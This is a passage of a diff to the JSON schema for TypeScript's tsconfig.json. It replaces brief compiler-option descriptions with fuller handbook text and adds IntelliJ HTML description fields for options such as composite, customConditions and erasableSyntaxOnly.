+              "x-intellij-html-description": "<p>In TypeScript 5.0, when an import path ends in an extension that isn&#39;t a known JavaScript or TypeScript file extension, the compiler will look for a declaration file for that path in the form of <code>{file basename}.d.{extension}.ts</code>.\nFor example, if you are using a CSS loader in a bundler project, you might want to write (or generate) declaration files for those stylesheets:</p>\n<pre><code class=\"language-css\">/* app.css */\n.cookie-banner {\n  display: none;\n}\n</code></pre>\n<pre><code class=\"language-ts\">// app.d.css.ts\ndeclare const css: {\n  cookieBanner: string;\n};\nexport default css;\n</code></pre>\n<pre><code class=\"language-ts\">// App.tsx\nimport styles from &quot;./app.css&quot;;\n\nstyles.cookieBanner; // string\n</code></pre>\n<p>By default, this import will raise an error to let you know that TypeScript doesn&#39;t understand this file type and your runtime might not support importing it.\nBut if you&#39;ve configured your runtime or bundler to handle it, you can suppress the error with the new <code>--allowArbitraryExtensions</code> compiler option.</p>\n<p>Note that historically, a similar effect has often been achievable by adding a declaration file named <code>app.css.d.ts</code> instead of <code>app.d.css.ts</code> - however, this just worked through Node&#39;s <code>require</code> resolution rules for CommonJS.\nStrictly speaking, the former is interpreted as a declaration file for a JavaScript file named <code>app.css.js</code>.\nBecause relative files imports need to include extensions in Node&#39;s ESM support, TypeScript would error on our example in an ESM file under <code>--moduleResolution node16</code> or <code>nodenext</code>.</p>\n<p>For more information, read up <a href=\"https://github.com/microsoft/TypeScript/issues/50133\">the proposal for this feature</a> and <a href=\"https://github.com/microsoft/TypeScript/pull/51435\">its corresponding pull request</a>.</p>\n"
             },
             "allowImportingTsExtensions": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Allow imports to include TypeScript file extensions. Requires '--moduleResolution bundler' and either '--noEmit' or '--emitDeclarationOnly' to be set.",
+              "description": "`--allowImportingTsExtensions` allows TypeScript files to import each other with a TypeScript-specific extension like `.ts`, `.mts`, or `.tsx`.\n\nThis flag is only allowed when `--noEmit` or `--emitDeclarationOnly` is enabled, since these import paths would not be resolvable at runtime in JavaScript output files.\nThe expectation here is that your resolver (e.g. your bundler, a runtime, or some other tool) is going to make these imports between `.ts` files work.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Allow imports to include TypeScript file extensions. Requires '--moduleResolution bundler' and either '--noEmit' or '--emitDeclarationOnly' to be set.\n\nSee more: https://www.typescriptlang.org/tsconfig#allowImportingTsExtensions"
+              "markdownDescription": "`--allowImportingTsExtensions` allows TypeScript files to import each other with a TypeScript-specific extension like `.ts`, `.mts`, or `.tsx`.\n\nThis flag is only allowed when `--noEmit` or `--emitDeclarationOnly` is enabled, since these import paths would not be resolvable at runtime in JavaScript output files.\nThe expectation here is that your resolver (e.g. your bundler, a runtime, or some other tool) is going to make these imports between `.ts` files work.",
+              "x-intellij-html-description": "<p><code>--allowImportingTsExtensions</code> allows TypeScript files to import each other with a TypeScript-specific extension like <code>.ts</code>, <code>.mts</code>, or <code>.tsx</code>.</p>\n<p>This flag is only allowed when <code>--noEmit</code> or <code>--emitDeclarationOnly</code> is enabled, since these import paths would not be resolvable at runtime in JavaScript output files.\nThe expectation here is that your resolver (e.g. your bundler, a runtime, or some other tool) is going to make these imports between <code>.ts</code> files work.</p>\n"
             },
             "charset": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "No longer supported. In early versions, manually set the text encoding for reading files.",
+              "description": "In prior versions of TypeScript, this controlled what encoding was used when reading text files from disk.\nToday, TypeScript assumes UTF-8 encoding, but will correctly detect UTF-16 (BE and LE) or UTF-8 BOMs.",
               "type": ["string", "null"],
-              "markdownDescription": "No longer supported. In early versions, manually set the text encoding for reading files.\n\nSee more: https://www.typescriptlang.org/tsconfig#charset"
+              "markdownDescription": "In prior versions of TypeScript, this controlled what encoding was used when reading text files from disk.\nToday, TypeScript assumes UTF-8 encoding, but will correctly detect UTF-16 (BE and LE) or UTF-8 BOMs.",
+              "x-intellij-html-description": "<p>In prior versions of TypeScript, this controlled what encoding was used when reading text files from disk.\nToday, TypeScript assumes UTF-8 encoding, but will correctly detect UTF-16 (BE and LE) or UTF-8 BOMs.</p>\n"
             },
             "composite": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enable constraints that allow a TypeScript project to be used with project references.",
+              "description": "The `composite` option enforces certain constraints which make it possible for build tools (including TypeScript\nitself, under `--build` mode) to quickly determine if a project has been built yet.\n\nWhen this setting is on:\n\n- The [`rootDir`](https://typescriptlang.org/tsconfig/#rootDir) setting, if not explicitly set, defaults to the directory containing the `tsconfig.json` file.\n\n- All implementation files must be matched by an [`include`](https://typescriptlang.org/tsconfig/#include) pattern or listed in the [`files`](https://typescriptlang.org/tsconfig/#files) array. If this constraint is violated, `tsc` will inform you which files weren't specified.\n\n- [`declaration`](https://typescriptlang.org/tsconfig/#declaration) defaults to `true`\n\nYou can find documentation on TypeScript projects in [the handbook](https://www.typescriptlang.org/docs/handbook/project-references.html).",
               "type": ["boolean", "null"],
               "default": true,
-              "markdownDescription": "Enable constraints that allow a TypeScript project to be used with project references.\n\nSee more: https://www.typescriptlang.org/tsconfig#composite"
+              "markdownDescription": "The `composite` option enforces certain constraints which make it possible for build tools (including TypeScript\nitself, under `--build` mode) to quickly determine if a project has been built yet.\n\nWhen this setting is on:\n\n- The [`rootDir`](https://typescriptlang.org/tsconfig/#rootDir) setting, if not explicitly set, defaults to the directory containing the `tsconfig.json` file.\n\n- All implementation files must be matched by an [`include`](https://typescriptlang.org/tsconfig/#include) pattern or listed in the [`files`](https://typescriptlang.org/tsconfig/#files) array. If this constraint is violated, `tsc` will inform you which files weren't specified.\n\n- [`declaration`](https://typescriptlang.org/tsconfig/#declaration) defaults to `true`\n\nYou can find documentation on TypeScript projects in [the handbook](https://www.typescriptlang.org/docs/handbook/project-references.html).",
+              "x-intellij-html-description": "<p>The <code>composite</code> option enforces certain constraints which make it possible for build tools (including TypeScript\nitself, under <code>--build</code> mode) to quickly determine if a project has been built yet.</p>\n<p>When this setting is on:</p>\n<ul>\n<li><p>The <a href=\"https://typescriptlang.org/tsconfig/#rootDir\"><code>rootDir</code></a> setting, if not explicitly set, defaults to the directory containing the <code>tsconfig.json</code> file.</p>\n</li>\n<li><p>All implementation files must be matched by an <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a> pattern or listed in the <a href=\"https://typescriptlang.org/tsconfig/#files\"><code>files</code></a> array. If this constraint is violated, <code>tsc</code> will inform you which files weren&#39;t specified.</p>\n</li>\n<li><p><a href=\"https://typescriptlang.org/tsconfig/#declaration\"><code>declaration</code></a> defaults to <code>true</code></p>\n</li>\n</ul>\n<p>You can find documentation on TypeScript projects in <a href=\"https://www.typescriptlang.org/docs/handbook/project-references.html\">the handbook</a>.</p>\n"
             },
             "customConditions": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Conditions to set in addition to the resolver-specific defaults when resolving imports.",
+              "description": "`--customConditions` takes a list of additional [conditions](https://nodejs.org/api/packages.html#nested-conditions) that should succeed when TypeScript resolves from an [`exports`](https://nodejs.org/api/packages.html#exports) or [`imports`](https://nodejs.org/api/packages.html#imports) field of a `package.json`.\nThese conditions are added to whatever existing conditions a resolver will use by default.\n\nFor example, when this field is set in a `tsconfig.json` as so:\n\n```jsonc\n{\n    \"compilerOptions\": {\n        \"target\": \"es2022\",\n        \"moduleResolution\": \"bundler\",\n        \"customConditions\": [\"my-condition\"]\n    }\n}\n```\n\nAny time an `exports` or `imports` field is referenced in `package.json`, TypeScript will consider conditions called `my-condition`.\n\nSo when importing from a package with the following `package.json`\n\n```jsonc\n{\n    // ...\n    \"exports\": {\n        \".\": {\n            \"my-condition\": \"./foo.mjs\",\n            \"node\": \"./bar.mjs\",\n            \"import\": \"./baz.mjs\",\n            \"require\": \"./biz.mjs\"\n        }\n    }\n}\n```\n\nTypeScript will try to look for files corresponding to `foo.mjs`.\n\nThis field is only valid under the `node16`, `nodenext`, and `bundler` options for [`--moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution).",
               "type": ["array", "null"],
               "uniqueItems": true,
               "items": {
-                "type": ["string", "null"]
+                "type": "string"
               },
-              "markdownDescription": "Conditions to set in addition to the resolver-specific defaults when resolving imports.\n\nSee more: https://www.typescriptlang.org/tsconfig#customConditions"
+              "markdownDescription": "`--customConditions` takes a list of additional [conditions](https://nodejs.org/api/packages.html#nested-conditions) that should succeed when TypeScript resolves from an [`exports`](https://nodejs.org/api/packages.html#exports) or [`imports`](https://nodejs.org/api/packages.html#imports) field of a `package.json`.\nThese conditions are added to whatever existing conditions a resolver will use by default.\n\nFor example, when this field is set in a `tsconfig.json` as so:\n\n```jsonc\n{\n    \"compilerOptions\": {\n        \"target\": \"es2022\",\n        \"moduleResolution\": \"bundler\",\n        \"customConditions\": [\"my-condition\"]\n    }\n}\n```\n\nAny time an `exports` or `imports` field is referenced in `package.json`, TypeScript will consider conditions called `my-condition`.\n\nSo when importing from a package with the following `package.json`\n\n```jsonc\n{\n    // ...\n    \"exports\": {\n        \".\": {\n            \"my-condition\": \"./foo.mjs\",\n            \"node\": \"./bar.mjs\",\n            \"import\": \"./baz.mjs\",\n            \"require\": \"./biz.mjs\"\n        }\n    }\n}\n```\n\nTypeScript will try to look for files corresponding to `foo.mjs`.\n\nThis field is only valid under the `node16`, `nodenext`, and `bundler` options for [`--moduleResolution`](https://typescriptlang.org/tsconfig/#moduleResolution).",
+              "x-intellij-html-description": "<p><code>--customConditions</code> takes a list of additional <a href=\"https://nodejs.org/api/packages.html#nested-conditions\">conditions</a> that should succeed when TypeScript resolves from an <a href=\"https://nodejs.org/api/packages.html#exports\"><code>exports</code></a> or <a href=\"https://nodejs.org/api/packages.html#imports\"><code>imports</code></a> field of a <code>package.json</code>.\nThese conditions are added to whatever existing conditions a resolver will use by default.</p>\n<p>For example, when this field is set in a <code>tsconfig.json</code> as so:</p>\n<pre><code class=\"language-jsonc\">{\n    &quot;compilerOptions&quot;: {\n        &quot;target&quot;: &quot;es2022&quot;,\n        &quot;moduleResolution&quot;: &quot;bundler&quot;,\n        &quot;customConditions&quot;: [&quot;my-condition&quot;]\n    }\n}\n</code></pre>\n<p>Any time an <code>exports</code> or <code>imports</code> field is referenced in <code>package.json</code>, TypeScript will consider conditions called <code>my-condition</code>.</p>\n<p>So when importing from a package with the following <code>package.json</code></p>\n<pre><code class=\"language-jsonc\">{\n    // ...\n    &quot;exports&quot;: {\n        &quot;.&quot;: {\n            &quot;my-condition&quot;: &quot;./foo.mjs&quot;,\n            &quot;node&quot;: &quot;./bar.mjs&quot;,\n            &quot;import&quot;: &quot;./baz.mjs&quot;,\n            &quot;require&quot;: &quot;./biz.mjs&quot;\n        }\n    }\n}\n</code></pre>\n<p>TypeScript will try to look for files corresponding to <code>foo.mjs</code>.</p>\n<p>This field is only valid under the <code>node16</code>, <code>nodenext</code>, and <code>bundler</code> options for <a href=\"https://typescriptlang.org/tsconfig/#moduleResolution\"><code>--moduleResolution</code></a>.</p>\n"
             },
             "declaration": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Generate .d.ts files from TypeScript and JavaScript files in your project.",
+              "description": "Generate `.d.ts` files for every TypeScript or JavaScript file inside your project.\nThese `.d.ts` files are type definition files which describe the external API of your module.\nWith `.d.ts` files, tools like TypeScript can provide intellisense and accurate types for un-typed code.\n\nWhen `declaration` is set to `true`, running the compiler with this TypeScript code:\n\n```ts twoslash\nexport let helloWorld = \"hi\";\n```\n\nWill generate an `index.js` file like this:\n\n```ts twoslash\n// @showEmit\nexport let helloWorld = \"hi\";\n```\n\nWith a corresponding `helloWorld.d.ts`:\n\n```ts twoslash\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\nexport let helloWorld = \"hi\";\n```\n\nWhen working with `.d.ts` files for JavaScript files you may want to use [`emitDeclarationOnly`](https://typescriptlang.org/tsconfig/#emitDeclarationOnly) or use [`outDir`](https://typescriptlang.org/tsconfig/#outDir) to ensure that the JavaScript files are not overwritten.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Generate .d.ts files from TypeScript and JavaScript files in your project.\n\nSee more: https://www.typescriptlang.org/tsconfig#declaration"
+              "markdownDescription": "Generate `.d.ts` files for every TypeScript or JavaScript file inside your project.\nThese `.d.ts` files are type definition files which describe the external API of your module.\nWith `.d.ts` files, tools like TypeScript can provide intellisense and accurate types for un-typed code.\n\nWhen `declaration` is set to `true`, running the compiler with this TypeScript code:\n\n```ts twoslash\nexport let helloWorld = \"hi\";\n```\n\nWill generate an `index.js` file like this:\n\n```ts twoslash\n// @showEmit\nexport let helloWorld = \"hi\";\n```\n\nWith a corresponding `helloWorld.d.ts`:\n\n```ts twoslash\n// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\nexport let helloWorld = \"hi\";\n```\n\nWhen working with `.d.ts` files for JavaScript files you may want to use [`emitDeclarationOnly`](https://typescriptlang.org/tsconfig/#emitDeclarationOnly) or use [`outDir`](https://typescriptlang.org/tsconfig/#outDir) to ensure that the JavaScript files are not overwritten.",
+              "x-intellij-html-description": "<p>Generate <code>.d.ts</code> files for every TypeScript or JavaScript file inside your project.\nThese <code>.d.ts</code> files are type definition files which describe the external API of your module.\nWith <code>.d.ts</code> files, tools like TypeScript can provide intellisense and accurate types for un-typed code.</p>\n<p>When <code>declaration</code> is set to <code>true</code>, running the compiler with this TypeScript code:</p>\n<pre><code class=\"language-ts\">export let helloWorld = &quot;hi&quot;;\n</code></pre>\n<p>Will generate an <code>index.js</code> file like this:</p>\n<pre><code class=\"language-ts\">// @showEmit\nexport let helloWorld = &quot;hi&quot;;\n</code></pre>\n<p>With a corresponding <code>helloWorld.d.ts</code>:</p>\n<pre><code class=\"language-ts\">// @showEmittedFile: index.d.ts\n// @showEmit\n// @declaration\nexport let helloWorld = &quot;hi&quot;;\n</code></pre>\n<p>When working with <code>.d.ts</code> files for JavaScript files you may want to use <a href=\"https://typescriptlang.org/tsconfig/#emitDeclarationOnly\"><code>emitDeclarationOnly</code></a> or use <a href=\"https://typescriptlang.org/tsconfig/#outDir\"><code>outDir</code></a> to ensure that the JavaScript files are not overwritten.</p>\n"
             },
             "declarationDir": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the output directory for generated declaration files.",
+              "description": "Offers a way to configure the root directory for where declaration files are emitted.\n\n```\nexample\n├── index.ts\n├── package.json\n└── tsconfig.json\n```\n\nwith this `tsconfig.json`:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"declaration\": true,\n    \"declarationDir\": \"./types\"\n  }\n}\n```\n\nWould place the d.ts for the `index.ts` in a `types` folder:\n\n```\nexample\n├── index.js\n├── index.ts\n├── package.json\n├── tsconfig.json\n└── types\n    └── index.d.ts\n```",
               "type": ["string", "null"],
-              "markdownDescription": "Specify the output directory for generated declaration files.\n\nSee more: https://www.typescriptlang.org/tsconfig#declarationDir"
+              "markdownDescription": "Offers a way to configure the root directory for where declaration files are emitted.\n\n```\nexample\n├── index.ts\n├── package.json\n└── tsconfig.json\n```\n\nwith this `tsconfig.json`:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"declaration\": true,\n    \"declarationDir\": \"./types\"\n  }\n}\n```\n\nWould place the d.ts for the `index.ts` in a `types` folder:\n\n```\nexample\n├── index.js\n├── index.ts\n├── package.json\n├── tsconfig.json\n└── types\n    └── index.d.ts\n```",
+              "x-intellij-html-description": "<p>Offers a way to configure the root directory for where declaration files are emitted.</p>\n<pre><code>example\n├── index.ts\n├── package.json\n└── tsconfig.json\n</code></pre>\n<p>with this <code>tsconfig.json</code>:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;declaration&quot;: true,\n    &quot;declarationDir&quot;: &quot;./types&quot;\n  }\n}\n</code></pre>\n<p>Would place the d.ts for the <code>index.ts</code> in a <code>types</code> folder:</p>\n<pre><code>example\n├── index.js\n├── index.ts\n├── package.json\n├── tsconfig.json\n└── types\n    └── index.d.ts\n</code></pre>\n"
             },
             "diagnostics": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Output compiler performance information after building.",
+              "description": "Used to output diagnostic information for debugging. This command is a subset of [`extendedDiagnostics`](https://typescriptlang.org/tsconfig/#extendedDiagnostics) which are more user-facing results, and easier to interpret.\n\nIf you have been asked by a TypeScript compiler engineer to give the results using this flag in a compile, in which there is no harm in using [`extendedDiagnostics`](https://typescriptlang.org/tsconfig/#extendedDiagnostics) instead.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Output compiler performance information after building.\n\nSee more: https://www.typescriptlang.org/tsconfig#diagnostics"
+              "markdownDescription": "Used to output diagnostic information for debugging. This command is a subset of [`extendedDiagnostics`](https://typescriptlang.org/tsconfig/#extendedDiagnostics) which are more user-facing results, and easier to interpret.\n\nIf you have been asked by a TypeScript compiler engineer to give the results using this flag in a compile, in which there is no harm in using [`extendedDiagnostics`](https://typescriptlang.org/tsconfig/#extendedDiagnostics) instead.",
+              "x-intellij-html-description": "<p>Used to output diagnostic information for debugging. This command is a subset of <a href=\"https://typescriptlang.org/tsconfig/#extendedDiagnostics\"><code>extendedDiagnostics</code></a> which are more user-facing results, and easier to interpret.</p>\n<p>If you have been asked by a TypeScript compiler engineer to give the results using this flag in a compile, in which there is no harm in using <a href=\"https://typescriptlang.org/tsconfig/#extendedDiagnostics\"><code>extendedDiagnostics</code></a> instead.</p>\n"
             },
             "disableReferencedProjectLoad": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Reduce the number of projects loaded automatically by TypeScript.",
+              "description": "In multi-project TypeScript programs, TypeScript will load all of the available projects into memory in order to provide accurate results for editor responses which require a full knowledge graph like 'Find All References'.\n\nIf your project is large, you can use the flag `disableReferencedProjectLoad` to disable the automatic loading of all projects. Instead, projects are loaded dynamically as you open files through your editor.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Reduce the number of projects loaded automatically by TypeScript.\n\nSee more: https://www.typescriptlang.org/tsconfig#disableReferencedProjectLoad"
+              "markdownDescription": "In multi-project TypeScript programs, TypeScript will load all of the available projects into memory in order to provide accurate results for editor responses which require a full knowledge graph like 'Find All References'.\n\nIf your project is large, you can use the flag `disableReferencedProjectLoad` to disable the automatic loading of all projects. Instead, projects are loaded dynamically as you open files through your editor.",
+              "x-intellij-html-description": "<p>In multi-project TypeScript programs, TypeScript will load all of the available projects into memory in order to provide accurate results for editor responses which require a full knowledge graph like &#39;Find All References&#39;.</p>\n<p>If your project is large, you can use the flag <code>disableReferencedProjectLoad</code> to disable the automatic loading of all projects. Instead, projects are loaded dynamically as you open files through your editor.</p>\n"
             },
             "noPropertyAccessFromIndexSignature": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Enforces using indexed accessors for keys declared using an indexed type",
+              "description": "This setting ensures consistency between accessing a field via the \"dot\" (`obj.key`) syntax, and \"indexed\" (`obj[\"key\"]`) and the way which the property is declared in the type.\n\nWithout this flag, TypeScript will allow you to use the dot syntax to access fields which are not defined:\n\n```ts twoslash\n// @errors: 4111\ndeclare function getSettings(): GameSettings;\n// ---cut---\ninterface GameSettings {\n  // Known up-front properties\n  speed: \"fast\" | \"medium\" | \"slow\";\n  quality: \"high\" | \"low\";\n\n  // Assume anything unknown to the interface\n  // is a string.\n  [key: string]: string;\n}\n\nconst settings = getSettings();\nsettings.speed;\n//       ^?\nsettings.quality;\n//       ^?\n\n// Unknown key accessors are allowed on\n// this object, and are `string`\nsettings.username;\n//       ^?\n```\n\nTurning the flag on will raise an error because the unknown field uses dot syntax instead of indexed syntax.\n\n```ts twoslash\n// @errors: 4111\n// @noPropertyAccessFromIndexSignature\ndeclare function getSettings(): GameSettings;\ninterface GameSettings {\n  speed: \"fast\" | \"medium\" | \"slow\";\n  quality: \"high\" | \"low\";\n  [key: string]: string;\n}\n// ---cut---\nconst settings = getSettings();\nsettings.speed;\nsettings.quality;\n\n// This would need to be settings[\"username\"];\nsettings.username;\n//       ^?\n```\n\nThe goal of this flag is to signal intent in your calling syntax about how certain you are this property exists.",
               "type": ["boolean", "null"],
-              "markdownDescription": "Enforces using indexed accessors for keys declared using an indexed type\n\nSee more: https://www.typescriptlang.org/tsconfig#noPropertyAccessFromIndexSignature"
+              "markdownDescription": "This setting ensures consistency between accessing a field via the \"dot\" (`obj.key`) syntax, and \"indexed\" (`obj[\"key\"]`) and the way which the property is declared in the type.\n\nWithout this flag, TypeScript will allow you to use the dot syntax to access fields which are not defined:\n\n```ts twoslash\n// @errors: 4111\ndeclare function getSettings(): GameSettings;\n// ---cut---\ninterface GameSettings {\n  // Known up-front properties\n  speed: \"fast\" | \"medium\" | \"slow\";\n  quality: \"high\" | \"low\";\n\n  // Assume anything unknown to the interface\n  // is a string.\n  [key: string]: string;\n}\n\nconst settings = getSettings();\nsettings.speed;\n//       ^?\nsettings.quality;\n//       ^?\n\n// Unknown key accessors are allowed on\n// this object, and are `string`\nsettings.username;\n//       ^?\n```\n\nTurning the flag on will raise an error because the unknown field uses dot syntax instead of indexed syntax.\n\n```ts twoslash\n// @errors: 4111\n// @noPropertyAccessFromIndexSignature\ndeclare function getSettings(): GameSettings;\ninterface GameSettings {\n  speed: \"fast\" | \"medium\" | \"slow\";\n  quality: \"high\" | \"low\";\n  [key: string]: string;\n}\n// ---cut---\nconst settings = getSettings();\nsettings.speed;\nsettings.quality;\n\n// This would need to be settings[\"username\"];\nsettings.username;\n//       ^?\n```\n\nThe goal of this flag is to signal intent in your calling syntax about how certain you are this property exists.",
+              "x-intellij-html-description": "<p>This setting ensures consistency between accessing a field via the &quot;dot&quot; (<code>obj.key</code>) syntax, and &quot;indexed&quot; (<code>obj[&quot;key&quot;]</code>) and the way which the property is declared in the type.</p>\n<p>Without this flag, TypeScript will allow you to use the dot syntax to access fields which are not defined:</p>\n<pre><code class=\"language-ts\">// @errors: 4111\ndeclare function getSettings(): GameSettings;\n// ---cut---\ninterface GameSettings {\n  // Known up-front properties\n  speed: &quot;fast&quot; | &quot;medium&quot; | &quot;slow&quot;;\n  quality: &quot;high&quot; | &quot;low&quot;;\n\n  // Assume anything unknown to the interface\n  // is a string.\n  [key: string]: string;\n}\n\nconst settings = getSettings();\nsettings.speed;\n//       ^?\nsettings.quality;\n//       ^?\n\n// Unknown key accessors are allowed on\n// this object, and are `string`\nsettings.username;\n//       ^?\n</code></pre>\n<p>Turning the flag on will raise an error because the unknown field uses dot syntax instead of indexed syntax.</p>\n<pre><code class=\"language-ts\">// @errors: 4111\n// @noPropertyAccessFromIndexSignature\ndeclare function getSettings(): GameSettings;\ninterface GameSettings {\n  speed: &quot;fast&quot; | &quot;medium&quot; | &quot;slow&quot;;\n  quality: &quot;high&quot; | &quot;low&quot;;\n  [key: string]: string;\n}\n// ---cut---\nconst settings = getSettings();\nsettings.speed;\nsettings.quality;\n\n// This would need to be settings[&quot;username&quot;];\nsettings.username;\n//       ^?\n</code></pre>\n<p>The goal of this flag is to signal intent in your calling syntax about how certain you are this property exists.</p>\n"
             },
             "emitBOM": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files.",
+              "description": "Controls whether TypeScript will emit a [byte order mark (BOM)](https://wikipedia.org/wiki/Byte_order_mark) when writing output files.\nSome runtime environments require a BOM to correctly interpret a JavaScript files; others require that it is not present.\nThe default value of `false` is generally best unless you have a reason to change it.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Emit a UTF-8 Byte Order Mark (BOM) in the beginning of output files.\n\nSee more: https://www.typescriptlang.org/tsconfig#emitBOM"
+              "markdownDescription": "Controls whether TypeScript will emit a [byte order mark (BOM)](https://wikipedia.org/wiki/Byte_order_mark) when writing output files.\nSome runtime environments require a BOM to correctly interpret a JavaScript files; others require that it is not present.\nThe default value of `false` is generally best unless you have a reason to change it.",
+              "x-intellij-html-description": "<p>Controls whether TypeScript will emit a <a href=\"https://wikipedia.org/wiki/Byte_order_mark\">byte order mark (BOM)</a> when writing output files.\nSome runtime environments require a BOM to correctly interpret a JavaScript files; others require that it is not present.\nThe default value of <code>false</code> is generally best unless you have a reason to change it.</p>\n"
             },
             "emitDeclarationOnly": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Only output d.ts files and not JavaScript files.",
+              "description": "_Only_ emit `.d.ts` files; do not emit `.js` files.\n\nThis setting is useful in two cases:\n\n- You are using a transpiler other than TypeScript to generate your JavaScript.\n- You are using TypeScript to only generate `d.ts` files for your consumers.",
+              "type": ["boolean", "null"],
+              "default": false,
+              "markdownDescription": "_Only_ emit `.d.ts` files; do not emit `.js` files.\n\nThis setting is useful in two cases:\n\n- You are using a transpiler other than TypeScript to generate your JavaScript.\n- You are using TypeScript to only generate `d.ts` files for your consumers.",
+              "x-intellij-html-description": "<p><em>Only</em> emit <code>.d.ts</code> files; do not emit <code>.js</code> files.</p>\n<p>This setting is useful in two cases:</p>\n<ul>\n<li>You are using a transpiler other than TypeScript to generate your JavaScript.</li>\n<li>You are using TypeScript to only generate <code>d.ts</code> files for your consumers.</li>\n</ul>\n"
+            },
+            "erasableSyntaxOnly": {
+              "description": "Node.js [supports running TypeScript files directly](https://nodejs.org/api/typescript.html#type-stripping) as of v23.6;\nhowever, only TypeScript-specific syntax that does not have runtime semantics are supported under this mode.\nIn other words, it must be possible to easily *erase* any TypeScript-specific syntax from a file, leaving behind a valid JavaScript file.\n\nThat means the following constructs are not supported:\n\n* `enum` declarations\n* `namespace`s and `module`s with runtime code\n* parameter properties in classes\n* Non-ECMAScript `import =` and `export =` assignments\n* `<prefix>`-style type assertions\n\n```ts\n// ❌ error: An `import ... = require(...)` alias\nimport foo = require(\"foo\");\n\n// ❌ error: A namespace with runtime code.\nnamespace container {\n    foo.method();\n\n    export type Bar = string;\n}\n\n// ❌ error: An `import =` alias\nimport Bar = container.Bar;\n\nclass Point {\n    // ❌ error: Parameter properties\n    constructor(public x: number, public y: number) { }\n}\n\n// ❌ error: An `export =` assignment.\nexport = Point;\n\n// ❌ error: An enum declaration.\nenum Direction {\n    Up,\n    Down,\n    Left,\n    Right,\n}\n\n// ❌ error: <prefix>-style type assertion.\nconst num = <number>1;\n```\n\nSimilar tools like [ts-blank-space](https://github.com/bloomberg/ts-blank-space) or [Amaro](https://github.com/nodejs/amaro) (the underlying library for type-stripping in Node.js) have the same limitations.\nThese tools will provide helpful error messages if they encounter code that doesn't meet these requirements, but you still won't find out your code doesn't work until you actually try to run it.\n\nThe `--erasableSyntaxOnly` flag will cause TypeScript to error on most TypeScript-specific constructs that have runtime behavior.\n\n```ts\nclass C {\n    constructor(public x: number) { }\n    //          ~~~~~~~~~~~~~~~~\n    // error! This syntax is not allowed when 'erasableSyntaxOnly' is enabled.\n    }\n}\n```\n\nTypically, you will want to combine this flag with the `--verbatimModuleSyntax`, which ensures that a module contains the appropriate import syntax, and that import elision does not take place.",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Only output d.ts files and not JavaScript files.\n\nSee more: https://www.typescriptlang.org/tsconfig#emitDeclarationOnly"
+              "markdownDescription": "Node.js [supports running TypeScript files directly](https://nodejs.org/api/typescript.html#type-stripping) as of v23.6;\nhowever, only TypeScript-specific syntax that does not have runtime semantics are supported under this mode.\nIn other words, it must be possible to easily *erase* any TypeScript-specific syntax from a file, leaving behind a valid JavaScript file.\n\nThat means the following constructs are not supported:\n\n* `enum` declarations\n* `namespace`s and `module`s with runtime code\n* parameter properties in classes\n* Non-ECMAScript `import =` and `export =` assignments\n* `<prefix>`-style type assertions\n\n```ts\n// ❌ error: An `import ... = require(...)` alias\nimport foo = require(\"foo\");\n\n// ❌ error: A namespace with runtime code.\nnamespace container {\n    foo.method();\n\n    export type Bar = string;\n}\n\n// ❌ error: An `import =` alias\nimport Bar = container.Bar;\n\nclass Point {\n    // ❌ error: Parameter properties\n    constructor(public x: number, public y: number) { }\n}\n\n// ❌ error: An `export =` assignment.\nexport = Point;\n\n// ❌ error: An enum declaration.\nenum Direction {\n    Up,\n    Down,\n    Left,\n    Right,\n}\n\n// ❌ error: <prefix>-style type assertion.\nconst num = <number>1;\n```\n\nSimilar tools like [ts-blank-space](https://github.com/bloomberg/ts-blank-space) or [Amaro](https://github.com/nodejs/amaro) (the underlying library for type-stripping in Node.js) have the same limitations.\nThese tools will provide helpful error messages if they encounter code that doesn't meet these requirements, but you still won't find out your code doesn't work until you actually try to run it.\n\nThe `--erasableSyntaxOnly` flag will cause TypeScript to error on most TypeScript-specific constructs that have runtime behavior.\n\n```ts\nclass C {\n    constructor(public x: number) { }\n    //          ~~~~~~~~~~~~~~~~\n    // error! This syntax is not allowed when 'erasableSyntaxOnly' is enabled.\n    }\n}\n```\n\nTypically, you will want to combine this flag with the `--verbatimModuleSyntax`, which ensures that a module contains the appropriate import syntax, and that import elision does not take place.",
